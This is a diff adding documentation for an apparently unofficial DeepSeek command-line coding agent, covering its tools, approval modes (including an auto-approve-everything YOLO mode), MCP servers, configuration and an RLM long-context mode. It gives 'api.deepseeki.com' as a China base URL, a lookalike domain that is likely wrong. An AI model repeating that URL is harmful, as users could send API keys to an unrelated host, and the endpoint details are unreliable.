auto‑approve file writes | +| **YOLO** | Enables shell + trust + auto‑approves all tools (dangerous) | Auto‑approve all tools | +| **RLM** | Externalized context + REPL helpers; auto‑approves tools (best for large files) | Auto‑approve tools | +| **Duo** | Player‑coach autocoding with iterative validation (based on g3 paper) | Depends on phase | + +Approval behavior is mode‑dependent, but you can also override it at runtime with `/set approval_mode auto|suggest|never`. + +## 🛠️ Tools + +DeepSeek CLI exposes a comprehensive set of tools to the model across 5 categories, with 16+ individual tools available, all with approval gating based on the current mode. + +### Tool Categories + +#### File Operations +- **`list_dir`** – List directory contents with file/directory metadata +- **`read_file`** – Read UTF‑8 files from the workspace +- **`write_file`** – Create or overwrite files +- **`edit_file`** – Search and replace text in files +- **`apply_patch`** – Apply unified diff patches with fuzzy matching +- **`grep_files`** – Search files by regex pattern with context lines +- **`web_search`** – Search the web and return concise results + +#### Shell Execution +- **`exec_shell`** – Run shell commands with timeout support +- **Background execution** – Run commands in background with task ID return + +#### Task Management +- **`todo_write`** – Create and update todo lists with status tracking +- **`update_plan`** – Manage structured implementation plans +- **`note`** – Append persistent notes across sessions + +#### Sub‑Agents +- **`agent_spawn`** – Create background sub‑agents for focused tasks +- **`agent_result`** – Retrieve results from sub‑agents +- **`agent_list`** – List all active and completed agents +- **`agent_cancel`** – Cancel running sub‑agents + +### System Behavior + +- **Workspace boundary**: File tools are restricted to `--workspace` unless you enable `/trust` (YOLO enables trust automatically). +- **Approvals**: The TUI requests approval depending on mode and tool category (file writes, shell). +- **Web search**: `web_search` uses DuckDuckGo HTML results and is auto‑approved. +- **Skills**: Reusable workflows stored as `SKILL.md` directories (default: `~/.deepseek/skills`). Use `/skills` and `/skill `. +- **MCP**: Load external tool servers via `~/.deepseek/mcp.json` (supports `servers` and `mcpServers`). MCP tools currently execute without TUI approval prompts, so only enable servers you trust. See `docs/MCP.md`. + +## 🧠 RLM (Reasoning & Large‑scale Memory) + +RLM mode is designed for "too big for context" tasks: large files, whole‑doc sweeps, and big pasted blocks. + +- Auto‑switch triggers: "largest file", explicit "RLM", large file requests, and large pastes. +- Shortcut: `/rlm` (or `/aleph`) enters RLM mode directly. +- In **RLM mode**, `/load @path` loads a file into the external context store (outside RLM mode, `/load` loads a saved chat JSON). +- Use `/repl` to enter expression mode (e.g. `search("pattern")`, `lines(1, 80)`). +- Power tools: `rlm_load`, `rlm_exec`, `rlm_status`, `rlm_query`. + +`rlm_query` can be expensive: prefer batching and check `/status` if you're doing lots of sub‑queries. + +## 👥 Duo Mode + +Duo mode implements the player‑coach autocoding paradigm for iterative development with built‑in validation: + +- **Player**: implements requirements (builder role) +- **Coach**: validates implementation against requirements (critic role) +- Tools: `duo_init`, `duo_player`, `duo_coach`, `duo_advance`, `duo_status` + +Workflow: `init → player → coach → advance → (repeat until approved)` + +## 📚 Examples + +### Interactive chat + +```bash +deepseek +``` + +### One‑shot prompt (non‑interactive) + +```bash +deepseek -p "Write a haiku about Rust" +``` + +### Agentic execution with tool access + +```bash +deepseek exec --auto "Fix lint errors in the current directory" +``` + +### Resume latest session + +```bash +deepseek --continue +``` + +### Work on a specific project + +```bash +deepseek --workspace /path/to/project +``` + +### Review staged git changes + +```bash +deepseek review --staged +``` + +### Apply a patch file + +```bash +deepseek apply patch.diff +``` + +### List saved sessions + +```bash +deepseek sessions --limit 50 +``` + +### Generate shell completions + +```bash +deepseek completions zsh > _deepseek +deepseek completions bash > deepseek.bash +deepseek completions fish > deepseek.fish +``` + +## 🔧 Troubleshooting + +### No API key +Set `DEEPSEEK_API_KEY` environment variable or run `deepseek` and complete onboarding. + +### Config not found +Check `~/.deepseek/config.toml` (or `DEEPSEEK_CONFIG_PATH`). + +### Wrong region / base URL +Set `DEEPSEEK_BASE_URL` to `https://api.deepseeki.com` (China). + +### Session issues +Run `deepseek sessions` and try `deepseek --resume latest`. + +### MCP tools missing +Validate `~/.deepseek/mcp.json` (or `DEEPSEEK_MCP_CONFIG`) and restart. + +### Command not found (npm install) +Ensure `npm` is installed and the global bin directory is in your `PATH`. + +### Sandbox errors (macOS) +Ensure `/usr/bin/sandbox-exec` exists (comes with macOS). For other platforms, sandboxing is limited. + +## 📖 Documentation + +- `docs/README.md` – Overview of all documentation +- `docs/CONFIGURATION.md` – Complete configuration reference +- `docs/MCP.md` – Model Context Protocol guide +- `docs/ARCHITECTURE.md` – Project architecture +- `docs/RLM.md` – RLM mode deep‑dive +- `docs/MODES.md` – Mode comparison and usage +- `docs/PALETTE.md` – DeepSeek UI color palette +- `CONTRIBUTING.md` – How to contribute to the project + +## 🧪 Development + +```bash +cargo build +cargo test +cargo fmt +cargo clippy +``` + +See `CONTRIBUTING.md` for detailed guidelines. + +## 📄 License + +MIT + +--- + +DeepSeek is a trademark of DeepSeek Inc. This is an unofficial project. \ No newline at end of file diff --git a/config.example.toml b/config.example.toml new file mode 100644 index 00000000..66b1813b --- /dev/null +++ b/config.example.toml @@ -0,0 +1,114 @@ +# ╔══════════════════════════════════════════════════════════════════════════════╗ +# ║ DeepSeek CLI Configuration ║ +# ║ ║ +# ║ Unofficial CLI for DeepSeek Platform - Not affiliated with DeepSeek Inc. ║ +# ╚══════════════════════════════════════════════════════════════════════════════╝ + +# See `docs/CONFIGURATION.md` for how config is loaded (profiles, env overrides, etc.). + +# ───────────────────────────────────────────────────────────────────────────────── +# API Keys +# ───────────────────────────────────────────────────────────────────────────────── +api_key = "YOUR_DEEPSEEK_API_KEY" # must be non-empty + +# ───────────────────────────────────────────────────────────────────────────────── +# Base URLs +# ───────────────────────────────────────────────────────────────────────────────── +base_url = "https://api.deepseek.com" +# base_url = "https://api.deepseeki.com" # China users + +# ───────────────────────────────────────────────────────────────────────────────── +# Default Models +# ───────────────────────────────────────────────────────────────────────────────── +default_text_model = "deepseek-reasoner" # also: deepseek-chat, deepseek-r1, deepseek-v3, deepseek-v3.2 + +# ───────────────────────────────────────────────────────────────────────────────── +# Paths +# ───────────────────────────────────────────────────────────────────────────────── +skills_dir = "~/.deepseek/skills" +mcp_config_path = "~/.deepseek/mcp.json" +notes_path = "~/.deepseek/notes.txt" + +# Parsed but currently unused (reserved for future versions): +# tools_file = "./tools.json" +# memory_path = "~/.deepseek/memory.md" + +# ───────────────────────────────────────────────────────────────────────────────── +# Security +# ───────────────────────────────────────────────────────────────────────────────── +allow_shell = false + +# ───────────────────────────────────────────────────────────────────────────────── +# TUI +# ───────────────────────────────────────────────────────────────────────────────── +[tui] +alternate_screen = "auto" # auto | always | never + +# ───────────────────────────────────────────────────────────────────────────────── +# Feature Flags +# ───────────────────────────────────────────────────────────────────────────────── +[features] +shell_tool = true +subagents = true +web_search = true +apply_patch = true +mcp = true +rlm = true +duo = true +exec_policy = true + +# ───────────────────────────────────────────────────────────────────────────────── +# Retry Configuration +# ───────────────────────────────────────────────────────────────────────────────── +[retry] +enabled = true +max_retries = 3 +initial_delay = 1.0 +max_delay = 60.0 +exponential_base = 2.0 + +# ───────────────────────────────────────────────────────────────────────────────── +# Context Compaction (PLANNED - not yet implemented) +# ───────────────────────────────────────────────────────────────────────────────── +# [compaction] +# enabled = false # Enable auto-compaction +# token_threshold = 50000 # Trigger compaction above this token estimate +# message_threshold = 50 # Or above this message count +# model = "deepseek-chat" # Model to use for summarization +# cache_summary = true # Cache the summary block + +# ───────────────────────────────────────────────────────────────────────────────── +# RLM Sandbox Configuration (PLANNED - not yet implemented) +# ───────────────────────────────────────────────────────────────────────────────── +# [rlm] +# max_context_chars = 10000000 # Max characters for context (10MB) +# max_search_results = 100 # Max search results +# default_chunk_size = 2000 # Default chunk size +# default_overlap = 200 # Default chunk overlap +# session_dir = "~/.deepseek/rlm" # Directory for RLM sessions + +# ───────────────────────────────────────────────────────────────────────────────── +# Profile Example (for multiple environments) +# ───────────────────────────────────────────────────────────────────────────────── +# Select a profile with `deepseek --profile ` or `DEEPSEEK_PROFILE=`. +[profiles.work] +api_key = "WORK_DEEPSEEK_API_KEY" +base_url = "https://api.deepseek.com" + +[profiles.dev] +api_key = "DEV_DEEPSEEK_API_KEY" +allow_shell = true + +# ───────────────────────────────────────────────────────────────────────────────── +# Hooks (optional) +# ───────────────────────────────────────────────────────────────────────────────── +# Hooks run shell commands on lifecycle events (session start/end, tool calls, etc.). +# Configure as `[[hooks.hooks]]` under a `[hooks]` table. +# +# [hooks] +# enabled = true +# default_timeout_secs = 30 +# +# [[hooks.hooks]] +# event = "session_start" +# command = "echo 'DeepSeek CLI session started'" diff --git a/docs/ARCHITECTURE.md b/docs/ARCHITECTURE.md new file mode 100644 index 00000000..183c2379 --- /dev/null +++ b/docs/ARCHITECTURE.md @@ -0,0 +1,196 @@ +# DeepSeek CLI Architecture + +This document provides an overview of the DeepSeek CLI architecture for developers and contributors. + +## High-Level Overview + +``` +┌─────────────────────────────────────────────────────────────────┐ +│ User Interface │ +│ ┌─────────────────┐ ┌─────────────────┐ ┌────────────────┐ │ +│ │ TUI (ratatui) │ │ One-shot Mode │ │ Config/CLI │ │ +│ └────────┬────────┘ └────────┬────────┘ └────────┬───────┘ │ +└───────────┼─────────────────────┼────────────────────┼──────────┘ + │ │ │ + ▼ ▼ ▼ +┌─────────────────────────────────────────────────────────────────┐ +│ Core Engine │ +│ ┌─────────────────────────────────────────────────────────┐ │ +│ │ Agent Loop (core/engine.rs) │ │ +│ │ ┌─────────┐ ┌─────────────┐ ┌──────────────────────┐ │ │ +│ │ │ Session │ │ Turn Mgmt │ │ Tool Orchestration │ │ │ +│ │ └─────────┘ └─────────────┘ └──────────────────────┘ │ │ +│ └─────────────────────────────────────────────────────────┘ │ +└─────────────────────────────────────────────────────────────────┘ + │ │ │ + ▼ ▼ ▼ +┌─────────────────────────────────────────────────────────────────┐ +│ Tool & Extension Layer │ +│ ┌──────────┐ ┌──────────┐ ┌─────────┐ ┌────────────────┐ │ +│ │ Tools │ │ Skills │ │ Hooks │ │ MCP Servers │ │ +│ │ (shell, │ │ (plugins)│ │ (pre/ │ │ (external) │ │ +│ │ file) │ │ │ │ post) │ │ │ │ +│ └──────────┘ └──────────┘ └─────────┘ └────────────────┘ │ +└─────────────────────────────────────────────────────────────────┘ + │ │ │ + ▼ ▼ ▼ +┌─────────────────────────────────────────────────────────────────┐ +│ LLM Layer │ +│ ┌──────────────────────────────────────────────────────────┐ │ +│ │ LLM Client Abstraction (llm_client.rs) │ │ +│ │ ┌─────────────────┐ ┌─────────────────────────────┐ │ │ +│ │ │ DeepSeek Client │ │ Compatible Client (DeepSeek)│ │ │ +│ │ │ (client.rs) │ │ (client.rs) │ │ │ +│ │ └─────────────────┘ └─────────────────────────────┘ │ │ +│ └──────────────────────────────────────────────────────────┘ │ +└─────────────────────────────────────────────────────────────────┘ +``` + +## Module Organization + +### Entry Point + +- **`main.rs`** - CLI argument parsing (clap), configuration loading, entry point routing + +### Core Components + +- **`core/`** - Main engine components + - `engine.rs` - Agent loop, message processing, tool execution orchestration + - `session.rs` - Session state management + - `turn.rs` - Turn-based conversation handling + - `events.rs` - Event system for UI updates + - `ops.rs` - Core operations + +### Configuration + +- **`config.rs`** - Configuration loading, profiles, environment variables +- **`settings.rs`** - Runtime settings management + +### LLM Integration + +- **`client.rs`** - HTTP client for DeepSeek's OpenAI-compatible Responses API (with chat fallback) +- **`llm_client.rs`** - Abstract LLM client trait with retry logic +- **`models.rs`** - Data structures for API requests/responses + +#### DeepSeek API Endpoints + +DeepSeek exposes OpenAI-compatible endpoints. The CLI uses: +- `https://api.deepseek.com/v1/responses` - preferred Responses API +- `https://api.deepseek.com/v1/chat/completions` - fallback if Responses is unavailable + +The engine uses `handle_deepseek_turn()` to drive the agent loop against the +Responses API (with automatic fallback if needed). + +### Tool System + +- **`tools/`** - Built-in tool implementations + - `mod.rs` - Tool registry and common types + - `shell.rs` - Shell command execution + - `file.rs` - File read/write operations + - `todo.rs` - Todo list management + - `plan.rs` - Planning tools + - `subagent.rs` - Sub-agent spawning + - `spec.rs` - Tool specifications + +### Extension Systems + +- **`mcp.rs`** - Model Context Protocol client for external tool servers +- **`skills.rs`** - Plugin/skill loading and execution +- **`hooks.rs`** - Pre/post execution hooks with conditions + +### User Interface + +- **`tui/`** - Terminal UI components (ratatui-based) + - `app.rs` - Application state and message handling + - `ui.rs` - Rendering logic + - `approval.rs` - Tool approval dialog + - `clipboard.rs` - Clipboard handling + - `streaming.rs` - Streaming text collector + +- **`ui.rs`** - Legacy/simple UI utilities + +### Security + +- **`sandbox/`** - macOS sandboxing support + - `mod.rs` - Sandbox type definitions + - `policy.rs` - Sandbox policy configuration + - `seatbelt.rs` - macOS Seatbelt profile generation + +### Utilities + +- **`utils.rs`** - Common utilities +- **`logging.rs`** - Logging infrastructure +- **`compaction.rs`** - Context compaction for long conversations +- **`rlm.rs`** - Reflection/reasoning utilities +- **`pricing.rs`** - Cost estimation +- **`prompts.rs`** - System prompt templates +- **`project_doc.rs`** - Project documentation handling +- **`session.rs`** - Session serialization + +## Data Flow + +### Interactive Session + +1. User input received in TUI +2. Input processed by `core/engine.rs` +3. Message sent to LLM via `llm_client.rs` +4. Response streamed back, parsed in `client.rs` +5. Tool calls extracted and executed via `tools/` +6. Hooks triggered before/after tool execution +7. Results aggregated and sent back to LLM +8. Final response rendered in TUI + +### Tool Execution + +1. LLM requests tool via `tool_use` content block +2. Tool registry looks up handler +3. Pre-execution hooks run +4. Approval requested if needed (non-yolo mode) +5. Tool executed (possibly sandboxed on macOS) +6. Post-execution hooks run +7. Result returned to agent loop + +## Extension Points + +### Adding a New Tool + +1. Create handler in `tools/` +2. Register in `tools/registry.rs` +3. Add tool specification (name, description, input schema) + +### Adding an MCP Server + +1. Configure in `~/.deepseek/mcp.json` +2. Server auto-discovered at startup +3. Tools exposed to LLM automatically + +### Creating a Skill + +1. Create skill directory with `SKILL.md` +2. Define skill prompt and optional scripts +3. Place in `~/.deepseek/skills/` + +### Adding Hooks + +Configure in `~/.deepseek/config.toml`: + +```toml +[[hooks]] +event = "tool_call_before" +command = "echo 'Running tool: $TOOL_NAME'" +``` + +## Key Design Decisions + +1. **Streaming-first**: All LLM responses stream for responsiveness +2. **Tool safety**: Non-yolo mode requires approval for destructive operations +3. **Extensibility**: MCP, skills, and hooks allow customization without code changes +4. **Cross-platform**: Core works on Linux/macOS/Windows, sandboxing macOS-only +5. **Minimal dependencies**: Careful dependency selection for build speed + +## Configuration Files + +- `~/.deepseek/config.toml` - Main configuration +- `~/.deepseek/mcp.json` - MCP server configuration +- `~/.deepseek/skills/` - User skills directory +- `~/.deepseek/sessions/` - Session history diff --git a/docs/CONFIGURATION.md b/docs/CONFIGURATION.md new file mode 100644 index 00000000..2781b5dd --- /dev/null +++ b/docs/CONFIGURATION.md @@ -0,0 +1,127 @@ +# Configuration + +DeepSeek CLI reads configuration from a TOML file plus environment variables. + +## Where It Looks + +Default config path: + +- `~/.deepseek/config.toml` + +Overrides: + +- CLI: `deepseek --config /path/to/config.toml` +- Env: `DEEPSEEK_CONFIG_PATH=/path/to/config.toml` + +If both are set, `--config` wins. Environment variable overrides are applied after the file is loaded. + +## Profiles + +You can define multiple profiles in the same file: + +```toml +api_key = "PERSONAL_KEY" +default_text_model = "deepseek-reasoner" + +[profiles.work] +api_key = "WORK_KEY" +base_url = "https://api.deepseek.com" +``` + +Select a profile with: + +- CLI: `deepseek --profile work` +- Env: `DEEPSEEK_PROFILE=work` + +If a profile is selected but missing, DeepSeek CLI exits with an error listing available profiles. + +## Environment Variables + +These override config values: + +- `DEEPSEEK_API_KEY` +- `DEEPSEEK_BASE_URL` +- `DEEPSEEK_SKILLS_DIR` +- `DEEPSEEK_MCP_CONFIG` +- `DEEPSEEK_NOTES_PATH` +- `DEEPSEEK_MEMORY_PATH` +- `DEEPSEEK_ALLOW_SHELL` (`1`/`true` enables) +- `DEEPSEEK_MAX_SUBAGENTS` (clamped to `1..=5`) + +## Settings File (Persistent UI Preferences) + +DeepSeek CLI also stores user preferences in: + +- `~/.config/deepseek/settings.toml` + +Notable settings include `auto_compact` (default `true`), which automatically summarizes +earlier turns once the conversation grows large. You can inspect or update these from the +TUI with `/settings` and `/set `. + +Common settings keys: + +- `theme` (default, dark, light) +- `auto_compact` (on/off) +- `show_thinking` (on/off) +- `show_tool_details` (on/off) +- `default_mode` (normal, agent, plan, yolo, rlm, duo) +- `max_history` (number of input history entries) +- `default_model` (model name override) + +## Key Reference + +### Core keys (used by the TUI/engine) + +- `api_key` (string, required): must be non-empty (or set `DEEPSEEK_API_KEY`). +- `base_url` (string, optional): defaults to `https://api.deepseek.com` (OpenAI-compatible Responses API). +- `default_text_model` (string, optional): defaults to `deepseek-reasoner`. Other available models include `deepseek-chat`, `deepseek-r1`, `deepseek-v3`, `deepseek-v3.2`. Check the DeepSeek API for the latest model list. +- `allow_shell` (bool, optional): defaults to `false`. +- `max_subagents` (int, optional): defaults to `5` and is clamped to `1..=5`. +- `skills_dir` (string, optional): defaults to `~/.deepseek/skills` (each skill is a directory containing `SKILL.md`). +- `mcp_config_path` (string, optional): defaults to `~/.deepseek/mcp.json`. +- `notes_path` (string, optional): defaults to `~/.deepseek/notes.txt` and is used by the `note` tool. +- `memory_path` (string, optional): defaults to `~/.deepseek/memory.md`. +- `retry.*` (optional): retry/backoff settings for API requests: + - `[retry].enabled` (bool, default `true`) + - `[retry].max_retries` (int, default `3`) + - `[retry].initial_delay` (float seconds, default `1.0`) + - `[retry].max_delay` (float seconds, default `60.0`) + - `[retry].exponential_base` (float, default `2.0`) +- `tui.alternate_screen` (string, optional): `auto`, `always`, or `never`. `auto` disables the alternate screen in Zellij; `--no-alt-screen` forces inline mode. +- `hooks` (optional): lifecycle hooks configuration (see `config.example.toml`). +- `features.*` (optional): feature flag overrides (see below). + +### Parsed but currently unused (reserved for future versions) + +These keys are accepted by the config loader but not currently used by the interactive TUI or built-in tools: + +- `tools_file` + +## Feature Flags + +Feature flags live under the `[features]` table and are merged across profiles. +Defaults are enabled for built-in tooling, so you only need to set entries you +want to force on or off. + +```toml +[features] +shell_tool = true +subagents = true +web_search = true +apply_patch = true +mcp = true +rlm = true +duo = true +exec_policy = true +``` + +You can also override features for a single run: + +- `deepseek --enable web_search` +- `deepseek --disable subagents` + +Use `deepseek features list` to inspect known flags and their effective state. + +## Notes On `deepseek doctor` + +`deepseek doctor` checks default locations under `~/.deepseek/` (including `config.toml` and `mcp.json`). If you override paths via `--config` or `DEEPSEEK_MCP_CONFIG`, the doctor output may not reflect those overrides. diff --git a/docs/MCP.md b/docs/MCP.md new file mode 100644 index 00000000..280863a6 --- /dev/null +++ b/docs/MCP.md @@ -0,0 +1,67 @@ +# MCP (External Tool Servers) + +DeepSeek CLI can load additional tools via MCP (Model Context Protocol). MCP servers are local processes that the CLI starts and communicates with over stdio. + +## Config File Location + +Default path: + +- `~/.deepseek/mcp.json` + +Overrides: + +- Config: `mcp_config_path = "/path/to/mcp.json"` +- Env: `DEEPSEEK_MCP_CONFIG=/path/to/mcp.json` + +After editing the file, restart the TUI. + +## Tool Naming + +Discovered MCP tools are exposed to the model as: + +- `mcp__` + +Example: a server named `git` with a tool named `status` becomes `mcp_git_status`. + +## Minimal Example + +```json +{ + "timeouts": { + "connect_timeout": 10, + "execute_timeout": 60, + "read_timeout": 120 + }, + "servers": { + "example": { + "command": "node", + "args": ["./path/to/your-mcp-server.js"], + "env": {}, + "disabled": false + } + } +} +``` + +You can also use `mcpServers` instead of `servers` for compatibility with other clients. + +## Server Fields + +Per-server settings: + +- `command` (string, required) +- `args` (array of strings, optional) +- `env` (object, optional) +- `connect_timeout`, `execute_timeout`, `read_timeout` (seconds, optional) +- `disabled` (bool, optional) + +## Safety Caveat (Important) + +MCP tools currently execute without TUI approval prompts. Only configure MCP servers you trust, and treat MCP server configuration as equivalent to running code on your machine. + +## Troubleshooting + +- Run `deepseek doctor` to confirm whether the default `~/.deepseek/mcp.json` exists. +- If you override `mcp_config_path` / `DEEPSEEK_MCP_CONFIG`, note that `deepseek doctor` still checks `~/.deepseek/mcp.json`. +- If tools don’t appear, verify the server command works from your shell and that the server supports MCP `tools/list`. + diff --git a/docs/MODES.md b/docs/MODES.md new file mode 100644 index 00000000..c9d23883 --- /dev/null +++ b/docs/MODES.md @@ -0,0 +1,61 @@ +# Modes and Approvals + +DeepSeek CLI has two related concepts: + +- **TUI mode**: what kind of interaction you’re in (Normal/Plan/Agent/YOLO/RLM). +- **Approval mode**: how aggressively the UI asks before executing tools. + +## TUI Modes + +Press `Tab` to cycle: **Normal → Plan → Agent → YOLO → RLM → Normal**. + +- **Normal**: chat-first. Approvals for file writes, shell, and paid tools. +- **Plan**: design-first prompting. Approvals match Normal. +- **Agent**: multi-step tool use. Approvals for shell and paid tools (file writes are allowed without a prompt). +- **YOLO**: enables shell + trust mode and auto-approves all tools. Use only in trusted repos. +- **RLM**: externalized context store + REPL helpers. Tools are auto-approved (best for large files and long-context work). + +## Approval Mode + +You can override approval behavior at runtime: + +```text +/set approval_mode suggest +/set approval_mode auto +/set approval_mode never +``` + +- `suggest` (default): uses the per-mode rules above. +- `auto`: auto-approves all tools (similar to YOLO/RLM approval behavior, but without forcing YOLO mode). +- `never`: blocks any tool that isn’t considered safe/read-only. + +## Workspace Boundary and Trust Mode + +By default, file tools are restricted to the `--workspace` directory. Enable trust mode to allow file access outside the workspace: + +```text +/trust +``` + +YOLO mode enables trust mode automatically. + +## MCP Caveat (Important) + +MCP tools are exposed as `mcp__` and currently execute without TUI approval prompts. Only configure MCP servers you trust. + +See `MCP.md`. + +## Related CLI Flags + +Run `deepseek --help` for the canonical list. Common flags: + +- `-p, --prompt `: one-shot prompt mode (prints and exits) +- `--workspace `: workspace root for file tools +- `--yolo`: start in YOLO mode +- `-r, --resume `: resume a saved session +- `-c, --continue`: resume the most recent session +- `--max-subagents `: clamp to `1..=5` +- `--profile `: select config profile +- `--config `: config file path +- `-v, --verbose`: verbose logging + diff --git a/docs/PALETTE.md b/docs/PALETTE.md new file mode 100644 index 00000000..369a84ab --- /dev/null +++ b/docs/PALETTE.md @@ -0,0 +1,25 @@ +# DeepSeek Palette + +DeepSeek CLI uses a shared palette so the TUI and CLI output stay on-brand. +The source of truth is `src/palette.rs`. + +## Brand Colors + +- DeepSeek Blue `#3578E5` (primary accent, headers, key labels) +- DeepSeek Sky `#6AAEF2` (secondary accent, hints, focus) +- DeepSeek Aqua `#36BBD4` (success/active state) +- DeepSeek Navy `#183F8A` (mode badges, deep accent) +- DeepSeek Ink `#0B1526` (dark background surfaces) +- DeepSeek Slate `#121C2E` (composer background) +- DeepSeek Red `#E25060` (errors) + +## Semantic Tokens + +- `TEXT_PRIMARY`, `TEXT_MUTED`, `TEXT_DIM` +- `STATUS_SUCCESS`, `STATUS_WARNING`, `STATUS_ERROR`, `STATUS_INFO` +- `SELECTION_BG`, `COMPOSER_BG` + +## Usage + +- Prefer `crate::palette::*` constants instead of hardcoded colors. +- For CLI (non-TUI) output, use the `*_RGB` constants with `colored::Colorize::truecolor`. diff --git a/docs/README.md b/docs/README.md new file mode 100644 index 00000000..181504b4 --- /dev/null +++ b/docs/README.md @@ -0,0 +1,23 @@ +# Documentation + +This directory is the long-form documentation for DeepSeek CLI. + +## For Users + +- `../README.md` (quickstart + overview) +- `CONFIGURATION.md` (config file, profiles, environment variables) +- `MODES.md` (Normal/Plan/Agent/YOLO/RLM and approval behavior) +- `RLM.md` (externalized context + REPL-powered workflows) +- `MCP.md` (external tool servers via `mcp.json`) + +## For Contributors + +- `ARCHITECTURE.md` (code layout and high-level flow) +- `../CONTRIBUTING.md` (development workflow and guidelines) +- `VOICE_AND_TONE.md` (UX copy guidelines) +- `PALETTE.md` (DeepSeek UI color palette) + +## Research / Notes + +- `rlm_gap_analysis.md` (implementation notes vs the RLM paper) +- `rlm-paper.txt` (paper reference) diff --git a/docs/RLM.md b/docs/RLM.md new file mode 100644 index 00000000..a2dbcb2a --- /dev/null +++ b/docs/RLM.md @@ -0,0 +1,54 @@ +# RLM Mode + +RLM mode (“Recursive Language Model” mode) is DeepSeek CLI’s long-context workflow: it stores large context externally (Aleph-style external memory) and provides REPL-like tools to explore and query it without stuffing everything into the model’s context window. + +If you’re curious about the research inspiration and implementation notes, see: + +- `docs/rlm-paper.txt` +- `docs/rlm_gap_analysis.md` + +## When To Use It + +RLM mode is best for: + +- “Analyze this large file / doc” +- “Summarize the whole repository” +- “Search for every occurrence of X and explain it” +- Big pasted blocks of text + +The UI may auto-switch to RLM for large file requests, “largest file”, explicit “RLM” requests, and large pastes. + +## How To Use It + +### Switch modes + +- Press `Tab` until you reach **RLM** +- Or type `/rlm` (or `/aleph`) to jump directly into RLM mode + +### Load context + +In RLM mode, `/load` loads external context (in other modes, `/load` loads a saved chat JSON): + +```text +/load @path/to/file.rs +``` + +`@path` is workspace-relative. + +### Inspect and query + +- `/status` shows which contexts are loaded and basic usage totals. +- `/repl` toggles expression input mode. + +Typical REPL helpers include: + +- `lines(1, 80)` (show a slice of the context) +- `search("pattern")` +- `chunk(2000)` (create fixed-size chunks for later querying) + +Under the hood, the model uses tools like `rlm_load`, `rlm_exec`, `rlm_status`, and `rlm_query`. + +## Cost and Safety Notes + +- `rlm_query` can be expensive because it triggers additional model calls. Prefer batching related questions. +- RLM mode auto-approves tools; keep `--workspace` scoped to the repo you want it to access. diff --git a/docs/VOICE_AND_TONE.md b/docs/VOICE_AND_TONE.md new file mode 100644 index 00000000..e16833f1 --- /dev/null +++ b/docs/VOICE_AND_TONE.md @@ -0,0 +1,29 @@ +# Voice and Tone + +DeepSeek CLI should feel like a capable, collaborative teammate. Keep the experience precise, calm, and lightly playful when it fits. + +## Principles + +- Competent warmth: confident, but never arrogant. +- Concise by default: expand only when users ask for details. +- Honest uncertainty: say when you are unsure and suggest verification. +- Respect attention: avoid noisy output, summarize tool calls. + +## Microcopy style + +- Short, direct sentences. +- Use simple verbs ("Working", "Thinking", "Done"). +- Light humor is optional and rare (example: "You're absolutely right! ... maybe."). +- Never joke at the user's expense. + +## Error handling + +- Own mistakes and suggest a fix. +- Provide a next step when an action fails. +- Avoid defensive language. + +## TUI personality touchpoints + +- Thinking indicator rotates short labels after a brief delay. +- Tool cards show results first; hide noisy args unless needed. +- Status lines prefer clarity over flair. diff --git a/docs/rlm_gap_analysis.md b/docs/rlm_gap_analysis.md new file mode 100644 index 00000000..1348cb0b --- /dev/null +++ b/docs/rlm_gap_analysis.md @@ -0,0 +1,282 @@ +# RLM Implementation Gap Analysis + +This document compares the DeepSeek CLI's current RLM-like sub-agent system against the actual Recursive Language Models (RLM) architecture described in the paper by Khattab et al. (2025). + +## Overview + +The RLM paper introduces a paradigm where LLMs treat long prompts as part of an external environment, allowing programmatic examination, decomposition, and recursive self-calling over prompt snippets. The DeepSeek CLI has implemented a sub-agent system that touches on some RLM concepts but lacks critical RLM-specific infrastructure. + +**Current Status**: DeepSeek CLI now includes a shared RLM session with dedicated tools (`rlm_load`, `rlm_exec`, `rlm_query`, `rlm_status`) and an RLM system prompt that externalizes context. Remaining gaps are mostly around deeper recursive orchestration and semantic chunking. + +## Update (v0.1.6) + +The following RLM gaps have been addressed in Sprint 2/3: + +- **REPL integration** via `rlm_exec` tool against a shared RLM session +- **Sub-call support** via `rlm_query` with batch and verify modes +- **Externalized context** with RLM context summaries injected into the system prompt +- **RLM-specific prompt** (`src/prompts/rlm.txt`) with FINAL / FINAL_VAR guidance +- **Chunking helpers** (`chunk_sections`, `chunk_lines`, `chunk_auto`) for semantic-ish splits +- **Auto-chunk batching** (`rlm_query` + `auto_chunks`) for whole-doc sweeps +- **Buffer variables** (`vars/get/set/append/del` + `store_as` + FINAL_VAR parsing) +- **Usage tracking** for RLM sub-calls (query count + token totals) +- **REPL toggle** (`/repl`) with RLM chat default +- **LLM-managed context loading** (`rlm_load`, plus `/load @path` workspace support) +- **RLM session status** (`rlm_status` for context + usage summaries) +- **Auto-RLM switching** for large file requests and large pastes (keeps small-context queries in base mode per paper tradeoff) +- **RLM usage guardrails** in the footer (warns on high query/token usage) + +Remaining opportunities (low priority): deeper recursive sub-agent loops and more model-specific prompt tuning. + +--- + +## Key RLM Concepts (From Paper) + +### Core Architecture +1. **REPL Environment**: Python REPL where context is loaded as a variable +2. **llm_query Function**: Enables recursive sub-LM calls within the REPL +3. **Context as External Variable**: Prompt is NOT fed directly to the LLM +4. **Programmatic Context Interaction**: Model writes code to examine/decompose context +5. **Buffer Variables**: Accumulate partial results across recursive calls +6. **FINAL/FINAL_VAR Tags**: Structured answer output mechanism + +### Key Behaviors +- Iterative code execution in REPL +- Dynamic context chunking based on analysis +- Recursive sub-calls for information-dense tasks +- Answer verification through sub-LM calls +- Cost-aware sub-call batching + +--- + +## Gap Analysis + +### 1. Missing REPL Integration for LLM + +**RLM Paper Requirement:** +> "The REPL environment is initialized with: 1) A 'context' variable that contains extremely important information about your query. 2) A 'llm_query' function that allows you to query an LLM inside your REPL environment. 3) The ability to use 'print()' statements to view the output of your REPL code." + +**Current DeepSeek Implementation (v0.1.6):** +- RLM mode exposes `rlm_exec` and `rlm_query` tools to the model +- REPL expressions operate on shared session state across turns +- LLM can execute expressions and spawn sub-calls from tool usage + +**Gap Severity:** 🟢 LOW + +**Status:** ✅ Addressed via RLM tools + prompt integration + +--- + +### 2. No Recursive Sub-Call Architecture + +**RLM Paper Requirement:** +> "RLMs defer essentially unbounded-length reasoning chains to sub-(R)LM calls... RLMs store the output of sub-LM calls over the input in variables and stitch them together to form a final answer." + +**Current DeepSeek Implementation (v0.1.6):** +- Recursive sub-calls are now available via repeated `rlm_query` tool invocations +- Shared buffer variables allow stitching results across calls +- Sub-agent nesting is still flat (no hierarchical runtime) + +**Gap Severity:** 🟡 MEDIUM + +**Remaining Enhancements:** +- Optional nested 